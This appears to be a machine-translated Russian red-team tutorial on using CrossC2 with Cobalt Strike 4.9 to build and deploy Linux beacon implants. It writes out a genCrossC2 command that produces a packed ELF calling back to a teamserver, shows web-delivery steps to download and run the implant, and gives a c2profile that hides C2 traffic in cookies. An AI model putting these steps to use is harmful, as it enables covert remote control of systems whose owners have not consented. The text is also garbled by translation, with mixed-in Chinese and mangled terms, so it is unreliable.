Технические статьи Koi Security предназначены только для справки. Информация, представленная в этой статье, предназначена только для изучения и использования специалистами по сетевой безопасности. Не используйте техническую информацию, содержащуюся в статье, для взлома какой-либо компьютерной системы без разрешения. Пользователь несет ответственность за любые прямые или косвенные последствия и убытки, возникшие в результате использования информации, представленной в настоящей статье. Если есть какое-либо нарушение, пожалуйста, сообщите нам, и мы немедленно удалим его и принесем извинения. Инструменты, представленные в этой статье, предназначены только для обучения и не могут использоваться для других целей. Удалите файлы инструментов в течение 24 часов! Спасибо!
Использование новой версии CrossC2 становится все более сложным, и многие обучающие материалы в Интернете копируются друг у друга, но лишь немногие из них затрагивают ключевые моменты для людей, которые давно не сталкивались с CrossC2. , они, возможно, не смогут успешно подключиться к сети Linux через долгое время, поэтому задокументируйте это здесь.
Версия CS: CS4.9
клиентсреда:Windows10
Пример использования: Подсистема Windows10 Kali Linux
Сначала загрузите эти три файла на github:
После распаковки соедините их:
Исправлять CrossC2-GithubBot-2023-11-20.cna Конфигурация, $CC2_PATH Введите абсолютный путь к текущему скрипту, $CC2_BIN. наполнять genCrossC2.exe относительно $CC2_PATH относительный путь к,Уведомление windows Чтобы использовать двойную обратную косую черту, $CC2_BIN Также добавьте двойную обратную косую черту перед:
Затем загрузите эти cna в CS:
Затем получите файл .cobaltstrike.beacon_keys из текущего каталога Teamserver. Этот файл представляет собой файл ключей, создаваемый при первом запуске CS. Он используется для шифрования коммуникационного трафика CS. Он необходим при создании коней Linux:
Скопируйте его в тот же каталог, что и genCrossC2, для последующих операций:
Открыть CS Создать слушателя,Уведомление!CrossC2 Поддерживает только https слушатель:
Исправлятьодин раз CrossC2Kit Путь по умолчанию для:
Лучше всего сначала попробовать подключиться к Linux без использования c2profile, а затем попытаться выйти в Интернет к Linux с помощью c2profile, поскольку если вы не обратите внимание на некоторые моменты при использовании c2profile, вы не сможете успешно выйти в Интернет. .
CrossC2 по умолчанию поддерживает два онлайн-метода:
Следующий пример использует genCrossC2 для прямой генерации лошадей Linux. Формат команды genCrossC2 следующий:
genCrossC2 [адрес прослушивания] [порт прослушивания] [ключевой файл .beacon_keys] [rebind_dynamic_lib<;ini_config;c2profile@section_name>] [платформа] [Архитектура платформы] [Слово выходного файла]
Следующая команда отображает версии от cs4.1 до 4.8, но это не имеет значения, CrossC2 поддерживает версии 4.9. Если вы загрузите genCrossC2.Linux, вы обнаружите, что они отображают версии от cs4.1 до 4.9:
существовать genCrossC2 Каталог Открыть cmd Введите следующую команду для создания Linux x64 Лошадь, обратите внимание на указанный четвертый параметр c2profile для null, указан последний параметр cs Версия для 4.9:
genCrossC2.exe 192.168.195.131 443 .cobaltstrike.beacon_keys null Linux x64 beacon.elf upx 4.9
Linux успешно подключен к сети, и все функции доступны для выполнения. Вы можете видеть, что онлайн-доступ осуществляется с правами root:
Открыть上面 CrossC2 выбирать reverse HTTPS монитор:
Создать здесь CrossC2 Слушатель, здесь .cobaltstrike.beacon_keys Файл по умолчанию читается genCrossC2.exe в каталоге .cobaltstrike.beacon_keys Файл, если вы уже поместили его в каталог приезжать, как я уже говорил, то добавлять его повторно не нужно. .beacon_keys Сохраните его, затем выберите https Слушатель, проверь ssl,cs по умолчанию ≤ 4.8 Только:
После нажатия кнопки «Создать» вы увидите больше CrossC2 измонитор:
Но на самом деле это фейк, реальный сайт мониторинга существует здесь:
После создания просмотрите журнал событий. Если он верен, вы увидите следующий вывод. Вы можете видеть, что genCrossC2 вызывается для генерации, что аналогично предыдущему прямому созданию: t_cc2.out и t_cc2. .out.lib, среди которых t_cc2.out — эльфийская лошадь Linux. Если он неверен, вы не можете увидеть упакованный xxxxxx байт. В это время вы можете проверить правильность конфигурации пути в cna:
существовать CS Вы можете увидеть два сгенерированных файла в каталоге клиента:
существовать linux Выполнить под t_cc2.out Вы можете выйти в Интернет. Конечно, это удаленная загрузка, поэтому для выхода в Интернет вам придется использовать удаленную загрузку.
Нажмите «Скриптовая веб-доставка» ниже:
генерировать Слово на расстоянии Выйти в Интернет Заказ,выбиратьтолькогенерироватьиз CrossC2 Слушатель, проверь SSL, самоудаление по вашему желанию:
Волягенерироватьиз ЗаказкопироватьприезжатьlinuxВыполнить под Вот и все Выйти в Интернет:
Загрузите файл c2profile и перезапустите TeamServer.
CrossC2 в основном распознает блоки http-get и http-post, но не может распознавать некоторые функции CS4.9.
Не рекомендуется использовать слишком сложную конфигурацию c2profile. Ниже приведен пример:
http-get {
set uri "/api/v1/get ";
set verb "GET";
client {
header "Content-Type" "text/plain";
metadata {
base64;
prepend "_UK=";
header "Cookie";
}
}
server {
header "Cache-Control" "no-cache";
output {
base64;
print;
}
}
}
http-post {
set uri "/api/v1/post ";
set verb "POST";
client {
header "Content-Type" "text/plain";
id {
base64;
prepend "_ZF=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "text/plain";
output {
base64;
print;
}
}
}
Вы также можете обратиться к официальным примерам:
https://github.com/gloxec/CrossC2/blob/cs4.1/protocol_demo/https.profile
Поместите измененный файл c2profile в каталог плагина genCrossC2.Win:
Создать прослушиватель,выбор нашего профиля c2,выбирать https Слушатель:
Создано успешно:
существоватьклиент Найдите в каталогеприезжать我们из Linux лошадь:
Скопируйте лошадь в Linux для выполнения или сгенерируйте предложение для использования в Интернете.
существоватьгенерировать CrossC2 При прослушивании вы можете увидеть указанную динамическую библиотеку и config.ini:
Официально зарезервировано get и post Для обратного вызова при запросе мы можем написать динамическую библиотеку взамен той, которую реализовали сами. get、post Запрос на реализацию пользовательских характеристик трафика:
Конкретные примеры можно найти в нескольких примерах, приведенных ниже в официальных документах:
config.ini Вы можете обратиться к официальному примеру ниже, чтобы определить sleep время дрожания, Исправлятьпо Библиотека динамической компоновки по умолчанию экспортирует имена функций и т. д.:
Если вы используете пользовательские характеристики трафика библиотеки динамической компоновки, вам не нужно указывать c2profile.
При использовании CrossC2 необходимо обратить особое внимание на правильность пути, настроенного в сценарии cna. Используйте двойную обратную косую черту перед $CC2_BIN. Если вы используете c2profile, вам также необходимо обратить внимание на. может ли конфигурация c2profile поддерживаться CrossC2, в противном случае возможно. После долгой борьбы я все еще не могу успешно подключиться к Интернету.